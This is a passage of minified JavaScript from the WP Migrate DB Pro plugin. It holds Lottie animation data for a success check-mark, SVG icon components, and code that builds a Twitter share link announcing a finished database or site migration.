Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":4,"ty":4,"nm":"arrow 5","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.625},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[0,4.282,0],"ti":[0,-10.185,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.556},"t":30,"s":[70,97.034,0],"to":[0,5.671,0],"ti":[0,-2.384,0]},{"t":37,"s":[70,110.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":5,"ty":4,"nm":"arrow 4","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.642},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[-2.944,2.409,0],"ti":[7.002,-5.729,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.614},"t":30,"s":[49.936,85.22,0],"to":[-3.899,3.19,0],"ti":[1.639,-1.341,0]},{"t":37,"s":[42.5,92.531,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":6,"ty":4,"nm":"arrow 3","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.645},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[-4.282,0,0],"ti":[10.185,0,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.628},"t":30,"s":[41.497,70.031,0],"to":[-5.671,0,0],"ti":[2.384,0,0]},{"t":37,"s":[30,70.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":7,"ty":4,"nm":"arrow 2","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.638},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,70.031,0],"to":[-3.212,-3.212,0],"ti":[7.639,7.639,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.599},"t":30,"s":[48.248,49.779,0],"to":[-4.253,-4.253,0],"ti":[1.788,1.788,0]},{"t":37,"s":[40,40.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":8,"ty":4,"nm":"arrow 1","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10,"x":"var $bm_rt;\\n$bm_rt = $bm_div($bm_mul(index, 360), 8);"},"p":{"a":1,"k":[{"i":{"x":0.578,"y":0.614},"o":{"x":0.167,"y":0.167},"t":22,"s":[70,69.281,0],"to":[0,-4.283,0],"ti":[0,10.186,0]},{"i":{"x":0.703,"y":1},"o":{"x":0.344,"y":0.556},"t":30,"s":[69.75,43.025,0],"to":[0,-5.669,0],"ti":[0,2.384,0]},{"t":37,"s":[70,30.031,0]}],"ix":2},"a":{"a":0,"k":[-3.196,-17.961,0],"ix":1},"s":{"a":0,"k":[67.6,67.6,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0]],"o":[[0,0],[0,0]],"v":[[-3.173,-27.073],[-3.219,-56.647]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427451010311,0.90588241278,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false},{"ty":"tm","s":{"a":0,"k":0,"ix":1},"e":{"a":0,"k":100,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":29,"s":[35]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[100]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":36,"s":[100]},{"t":37,"s":[70]}],"ix":1},"e":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":33,"s":[0]},{"t":37,"s":[79]}],"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":3,"nm":"Trim Paths 2","mn":"ADBE Vector Filter - Trim","hd":false}],"ip":22,"op":37,"st":0,"bm":0},{"ddd":0,"ind":9,"ty":4,"nm":"Glow","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":0,"s":[0]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":2,"s":[10]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":22,"s":[50]},{"t":24,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[67.13,75.69,0],"ix":2},"a":{"a":0,"k":[0,0,0],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.689,0.689,0.689],"y":[1,1,1]},"o":{"x":[0.254,0.254,0.254],"y":[0.254,0.254,10.184]},"t":0,"s":[25,25,100]},{"i":{"x":[0.833,0.833,0.833],"y":[0.833,0.833,0.833]},"o":{"x":[0.167,0.167,0.167],"y":[0.167,0.167,0.167]},"t":18,"s":[150,150,100]},{"t":24,"s":[126,126,100]}],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"d":1,"ty":"el","s":{"a":0,"k":[63.763,63.763],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":0,"s":[60]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":6,"s":[50]},{"t":24,"s":[1]}],"ix":5},"lc":1,"lj":1,"ml":4,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[1.881,-4.119],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Ellipse 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":40,"st":0,"bm":0},{"ddd":0,"ind":10,"ty":4,"nm":"Check Mark","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[70,70,0],"ix":2},"a":{"a":0,"k":[-1.312,6,0],"ix":1},"s":{"a":0,"k":[100,100,100],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"ind":0,"ty":"sh","ix":1,"ks":{"a":0,"k":{"i":[[0,0],[0,0],[0,0]],"o":[[0,0],[0,0],[0,0]],"v":[[-15.75,8],[-8,16],[13.125,-4]],"c":false},"ix":2},"nm":"Path 1","mn":"ADBE Vector Shape - Group","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.667],"y":[1]},"o":{"x":[0.333],"y":[0]},"t":25,"s":[0]},{"t":33,"s":[100]}],"ix":1},"e":{"a":0,"k":0,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"st","c":{"a":0,"k":[1,1,1,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[0,0],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Shape 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":40,"st":0,"bm":0},{"ddd":0,"ind":11,"ty":4,"nm":"Circle Flash","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":25,"s":[0]},{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":30,"s":[98]},{"t":38,"s":[0]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[70,70,0],"ix":2},"a":{"a":0,"k":[0,0,0],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.667,0.667,0.667],"y":[1,1,1]},"o":{"x":[0.333,0.333,0.333],"y":[0,0,0]},"t":25,"s":[0,0,100]},{"t":30,"s":[100,100,100]}],"ix":6}},"ao":0,"shapes":[{"d":1,"ty":"el","s":{"a":0,"k":[64,64],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false}],"ip":0,"op":40,"st":0,"bm":0},{"ddd":0,"ind":12,"ty":4,"nm":"Circle Stroke","sr":1,"ks":{"o":{"a":0,"k":100,"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[68.925,68.925,0],"ix":2},"a":{"a":0,"k":[0,0,0],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.667,0.667,0.667],"y":[1,1,1]},"o":{"x":[0.333,0.333,0.333],"y":[0,0,0]},"t":16,"s":[100,100,100]},{"i":{"x":[0.667,0.667,0.667],"y":[1,1,1]},"o":{"x":[0.333,0.333,0.333],"y":[0,0,0]},"t":22,"s":[80,80,100]},{"i":{"x":[0.667,0.667,0.667],"y":[1,1,1]},"o":{"x":[0.333,0.333,0.333],"y":[0,0,0]},"t":25,"s":[120,120,100]},{"t":29,"s":[100,100,100]}],"ix":6}},"ao":0,"shapes":[{"ty":"gr","it":[{"d":1,"ty":"el","s":{"a":0,"k":[60,60],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"tm","s":{"a":1,"k":[{"i":{"x":[0.667],"y":[1]},"o":{"x":[0.333],"y":[0]},"t":0,"s":[0]},{"t":16,"s":[100]}],"ix":1},"e":{"a":0,"k":0,"ix":2},"o":{"a":0,"k":0,"ix":3},"m":1,"ix":2,"nm":"Trim Paths 1","mn":"ADBE Vector Filter - Trim","hd":false},{"ty":"st","c":{"a":0,"k":[0.137254901961,0.427450980392,0.905882352941,1],"ix":3},"o":{"a":0,"k":100,"ix":4},"w":{"a":0,"k":3,"ix":5},"lc":2,"lj":2,"bm":0,"nm":"Stroke 1","mn":"ADBE Vector Graphic - Stroke","hd":false},{"ty":"tr","p":{"a":0,"k":[0.978,0.978],"ix":2},"a":{"a":0,"k":[0,0],"ix":1},"s":{"a":0,"k":[100,100],"ix":3},"r":{"a":0,"k":0,"ix":6},"o":{"a":0,"k":100,"ix":7},"sk":{"a":0,"k":0,"ix":4},"sa":{"a":0,"k":0,"ix":5},"nm":"Transform"}],"nm":"Ellipse 1","np":3,"cix":2,"bm":0,"ix":1,"mn":"ADBE Vector Group","hd":false}],"ip":0,"op":40,"st":0,"bm":0},{"ddd":0,"ind":13,"ty":4,"nm":"Circle Fill","sr":1,"ks":{"o":{"a":1,"k":[{"i":{"x":[0.833],"y":[0.833]},"o":{"x":[0.167],"y":[0.167]},"t":21,"s":[0]},{"t":28,"s":[98]}],"ix":11},"r":{"a":0,"k":0,"ix":10},"p":{"a":0,"k":[70,70,0],"ix":2},"a":{"a":0,"k":[0,0,0],"ix":1},"s":{"a":1,"k":[{"i":{"x":[0.667,0.667,0.667],"y":[1,1,1]},"o":{"x":[0.333,0.333,0.333],"y":[0,0,0]},"t":21,"s":[0,0,100]},{"t":28,"s":[100,100,100]}],"ix":6}},"ao":0,"shapes":[{"d":1,"ty":"el","s":{"a":0,"k":[64,64],"ix":2},"p":{"a":0,"k":[0,0],"ix":3},"nm":"Ellipse Path 1","mn":"ADBE Vector Shape - Ellipse","hd":false},{"ty":"fl","c":{"a":0,"k":[0.137254908681,0.427450984716,0.905882358551,1],"ix":4},"o":{"a":0,"k":100,"ix":5},"r":1,"bm":0,"nm":"Fill 1","mn":"ADBE Vector Graphic - Fill","hd":false}],"ip":0,"op":40,"st":0,"bm":0}],"markers":[]}');var Fe,Be=a(33801);function Ue(){return Ue=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Ue({xmlns:"http://www.w3.org/2000/svg",width:24,height:24,viewBox:"0 0 24 24"},e),Fe||(Fe=r.createElement("path",{fill:"#236DE7",d:"M22 5.894a8.653 8.653 0 0 1-2.363.638A4.026 4.026 0 0 0 21.441 4.3a8.272 8.272 0 0 1-2.6.978A4.139 4.139 0 0 0 15.846 4c-2.27 0-4.097 1.814-4.097 4.038 0 .32.027.628.095.92a11.666 11.666 0 0 1-8.451-4.222 4.017 4.017 0 0 0-.562 2.04c0 1.399.732 2.638 1.821 3.356A4.098 4.098 0 0 1 2.8 9.634v.045c0 1.962 1.421 3.591 3.285 3.967-.334.09-.697.132-1.075.132a3.68 3.68 0 0 1-.776-.068 4.132 4.132 0 0 0 3.831 2.812 8.32 8.32 0 0 1-5.084 1.722c-.336 0-.659-.015-.981-.056A11.674 11.674 0 0 0 8.29 20c7.545 0 11.67-6.154 11.67-11.488 0-.178-.006-.35-.015-.522A8.111 8.111 0 0 0 22 5.894Z"})));a.p;var Ge=(e,t,a,n)=>{var r=(0,Re.d3)(e),i=(0,Re.VR)(e),l=(0,Te.FF)(t.time),s=(0,v.__)("I've just %1$s my %2$s %3$s WordPress database in %4$s using @wpmigratedbpro","wp-migrate-db"),c=(0,v.__)("I've just migrated my %1$s %2$s WordPress %3$s in %4$s using @wpmigratedbpro","wp-migrate-db");switch(a){case"push":case"pull":var o=(0,v.__)("database","wp-migrate-db");return["media_files","plugin_files","theme_files","muplugin_files","other_files"].some((e=>n.includes(e)))&&(o=(0,v.__)("site","wp-migrate-db")),(0,v.nv)(c,r,i,o,l);case"backup_local":case"savefile":case"import":case"find_replace":var d=(e=>{switch(e){case"import":return(0,v.__)("imported","wp-migrate-db");case"find_replace":return(0,v.__)("updated","wp-migrate-db");case"backup_local":return(0,v.__)("backed up","wp-migrate-db");default:return(0,v.__)("exported","wp-migrate-db")}})(a);return(0,v.nv)(s,d,r,i,l);default:return""}};const je=(0,i.Ng)((e=>({migration_size:(0,Q.w1)("migration_size",e),timer:(0,Q.w1)("timer",e),stages:(0,Q.ud)("stages",e),intent:(0,Q.ud)("intent",e)})),{})((e=>{var t=e.migration_size,a=e.timer,n=e.stages,i=e.intent;return r.createElement("a",{href:"https://twitter.com/intent/tweet?url=".concat(encodeURI("https://deliciousbrains.com/wp-migrate-db-pro/ "),"&text=").concat(Ge(t,a,i,n)),className:"twitter",title:"@dliciousbrains twitter link",target:"_blank",rel:"noopener noreferrer"},r.createElement(ze,null))}));var Ve=a(11365),He=a(11283);const We=e=>{var t=e.link,a=e.content,n=e.utmContent,i=e.utmCampaign,l=e.screenReaderText,s=e.anchorLink,c=void 0===s?"":s,o=e.hasArrow,d=void 0!==o&&o;return r.createElement(He.A,{link:t,content:a,utmContent:n,utmCampaign:i,classes:"btn btn-sm btn-stroke release-post-link",screenReaderText:l,hasArrow:d,anchorLink:c})};var qe,Ze;function Qe(){return Qe=Object.assign?Object.assign.bind():function(e){for(var t=1;tr.createElement("svg",Qe({width:94,height:36,viewBox:"0 0 94 36",fill:"none",xmlns:"http://www.w3.org/2000/svg"},e),qe||(qe=r.createElement("g",{clipPath:"url(#clip0_60_1330)"},r.createElement("path",{d:"M69.008 24.706c1.492 0 2.882-.576 4.046-1.666.062-.041.123-.123.184-.185.164-.185.143-.39.02-.597 0 0-.388-.637-.49-.781-.102-.144-.184-.206-.306-.227-.143-.02-.286.062-.45.206-.94.802-1.92 1.214-2.922 1.214-2.697 0-3.924-2.572-3.924-4.958 0-2.366 1.206-4.752 3.924-4.752.92 0 1.88.35 2.78 1.029.224.164.47.144.592-.062l.51-.864c.164-.288.123-.473-.06-.658a1.166 1.166 0 0 0-.164-.144 5.862 5.862 0 0 0-3.74-1.317c-1.532 0-2.881.555-3.944 1.625-1.267 1.276-1.941 3.127-1.941 5.205 0 1.995.572 3.703 1.574 4.916 1.021 1.255 2.533 2.016 4.311 2.016ZM55.746 10.759c-3.413 0-5.967 2.942-5.967 6.85 0 4.012 2.554 7.036 5.967 7.036 3.392 0 5.947-3.024 5.947-7.036 0-3.888-2.555-6.85-5.947-6.85Zm0 11.808c-2.187 0-3.76-2.098-3.76-4.958 0-2.798 1.553-4.772 3.76-4.772s3.76 1.975 3.76 4.772c0 2.942-1.553 4.958-3.76 4.958ZM48.92 22.464h-4.842V11.397a.411.411 0 0 0-.409-.412h-1.328a.411.411 0 0 0-.409.412v12.651c0 .226.184.412.409.412h6.58a.411.411 0 0 0 .409-.412v-1.172a.411.411 0 0 0-.41-.412ZM93.428 22.464h-4.843V11.397a.411.411 0 0 0-.409-.412h-1.328a.411.411 0 0 0-.409.412v12.651c0 .226.184.412.409.412h6.58a.411.411 0 0 0 .409-.412v-1.172a.411.411 0 0 0-.41-.412ZM84.763 23.925l-4.087-12.631a.418.418 0 0 0-.388-.288H78.92c-.163 0-.286.103-.347.247l-4.149 12.672a.406.406 0 0 0 .389.534h1.328a.418.418 0 0 0 .388-.287l1.104-3.477h3.964l1.124 3.477a.418.418 0 0 0 .388.287h1.247c.306 0 .49-.267.408-.534Zm-6.64-5.143 